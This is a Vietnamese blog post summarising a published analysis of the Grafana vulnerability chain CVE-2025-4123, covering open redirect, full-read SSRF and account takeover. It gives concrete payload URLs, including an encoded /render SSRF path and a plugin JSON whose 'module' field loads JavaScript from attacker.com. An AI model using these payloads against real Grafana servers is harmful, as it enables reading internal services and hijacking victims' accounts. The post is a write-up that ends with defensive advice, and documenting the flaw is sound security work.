Home / Sharenewshort / Phân Tích Lỗ Hổng Grafana CVE-2025-4123: Full Read SSRF & Account Takeover

Phân Tích Lỗ Hổng Grafana CVE-2025-4123: Full Read SSRF & Account Takeover

Phân Tích Lỗ Hổng Grafana CVE-2025-4123: Full Read SSRF & Account Takeover

Giới thiệu

Bài viết này phân tích chi tiết lỗ hổng bảo mật nghiêm trọng trên nền tảng phân tích dữ liệu mã nguồn mở Grafana với mã CVE-2025-4123, được phát hiện và công bố bởi Nightbloodz. Lỗ hổng này là sự kết hợp của nhiều vấn đề: Open Redirect, Full Read SSRF và cuối cùng là Account Takeover thông qua XSS. Dưới đây là tóm tắt quá trình khai thác và tác động bảo mật của chuỗi lỗ hổng này.


Tổng Quan Lỗ Hổng

Thành Phần Lỗ Hổng Mô Tả
Open Redirect Ứng dụng cho phép chuyển hướng tới URL tùy ý mà không kiểm tra hợp lệ, tạo nền tảng cho tấn công
Full Read SSRF Kết hợp Open Redirect với endpoint /render để đọc dữ liệu nội bộ hoặc dịch vụ cục bộ
Account Takeover (XSS) Kết hợp path traversal phía client và open redirect để thực thi mã độc, chiếm quyền tài khoản

1. Open Redirect – Điểm Khởi Đầu

Lỗ hổng open redirect xuất hiện ở các route tĩnh như /public/build. Khi truy cập một thư mục mà không có dấu / ở cuối, server sẽ trả về mã 302 chuyển hướng sang cùng đường dẫn nhưng có thêm dấu /. Tuy nhiên, nếu lợi dụng các ký tự đặc biệt như \ hoặc ?, attacker có thể tạo ra các đường dẫn chuyển hướng tới domain tùy ý (protocol-relative URL), ví dụ:

  • /public/\attacker.com/?/../../../..
    Khi qua các hàm xử lý, đường dẫn này sẽ được redirect tới /\attacker.com/?/../../../../../../, cho phép attacker kiểm soát đích đến.

2. Khai thác Full Read SSRF

Cơ chế

Grafana có endpoint /render dùng để render hình ảnh từ một route nội bộ (không cho phép URL tuyệt đối). Tuy nhiên, attacker có thể lợi dụng open redirect để chuyển hướng request tới dịch vụ nội bộ hoặc thậm chí gửi POST request tới các dịch vụ này.

Ví dụ khai thác

Endpoint Payload Khai Thác Kết Quả
/render /render/public/..%252f%255C127.0.0.1:1234%252f%253F%252f..%252f.. Đọc dữ liệu dịch vụ nội bộ

Attacker có thể đọc dữ liệu từ các dịch vụ chỉ mở nội bộ, vượt qua kiểm soát truy cập thông thường.


3. Chiếm Quyền Tài Khoản Qua XSS

Path Traversal phía client

Client-side code của Grafana cho phép path traversal khi truy cập các route như /invite/..%2f..%2f..%2froute, dẫn đến việc JavaScript tự động truy xuất các API hoặc file ngoài ý muốn.

Chain XSS

Attacker dùng route đặc biệt để ép client load một JSON cấu hình plugin độc hại từ server của attacker, trong đó trường "module" trỏ tới file JS độc hại. Khi người dùng truy cập, mã độc được thực thi, cho phép attacker đổi email và reset mật khẩu của nạn nhân.

Bước Payload/Thao Tác Mục Đích
Client Path Traversal /a/..%2f..%2f..%2fpublic%2f..%252f%255Cattacker.com%252f%253Fp%252f..%252f..%23/explore Ép client load JSON độc hại
JSON độc hại "module": "http://attacker.com/file?js=file" Tải & thực thi JS độc hại
Hậu quả Đổi email, reset password tài khoản Chiếm quyền tài khoản

Tóm tắt khai thác

  1. Lợi dụng open redirect để tạo SSRF đọc dịch vụ nội bộ.
  2. Kết hợp path traversal phía client và open redirect để thực thi mã độc, chiếm quyền tài khoản người dùng.

Nhận xét & Cảnh báo

  • Lỗ hổng này là ví dụ điển hình về việc các lỗi nhỏ (open redirect, path traversal) khi kết hợp có thể dẫn đến hậu quả nghiêm trọng.
  • Việc kiểm tra, validate kỹ các tham số URL và đường dẫn là cực kỳ quan trọng.
  • Các endpoint như /render hoặc các API plugin nên được kiểm tra kỹ và giới hạn nguồn truy cập.

Tham khảo thêm


Source : https://medium.com/@Nightbloodz/grafana-cve-2025-4123-full-read-ssrf-account-takeover-d12abd13cd53

Leave a Reply

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *